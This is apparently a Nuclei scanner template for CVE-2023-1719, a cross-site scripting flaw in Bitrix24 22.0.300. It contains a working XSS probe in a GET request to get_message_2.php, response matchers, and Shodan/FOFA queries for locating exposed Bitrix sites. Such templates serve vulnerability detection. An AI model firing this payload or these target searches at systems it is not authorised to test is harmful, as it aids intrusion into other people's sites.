Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
PoC代码[已公开]
id: CVE-2023-1719
info:
name: Bitrix Component - Cross-Site Scripting
author: DhiyaneshDk
severity: critical
description: |
Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
reference:
- https://starlabs.sg/advisories/23/23-1719/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1719
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1719
cwe-id: CWE-665
epss-score: 0.86816
epss-percentile: 0.99396
cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: bitrix24
product: bitrix24
shodan-query:
- html:"/bitrix/"
- http.html:"/bitrix/"
fofa-query: body="/bitrix/"
tags: cve2023,cve,bitrix,xss,bitrix24
http:
- method: GET
path:
- "{{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'LOG_CNT':"
- "<img onerror=alert(document.domain) src=1>"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402205b06cb2fec076792499773aceda093bb32597c7c86cdb9396f4ccbb9124053d5022033fafa7eea6852af1d9da52f2939503191a2b93652abbebffe411dbd0e15263d:922c64590222798bb761d5b6d8e72950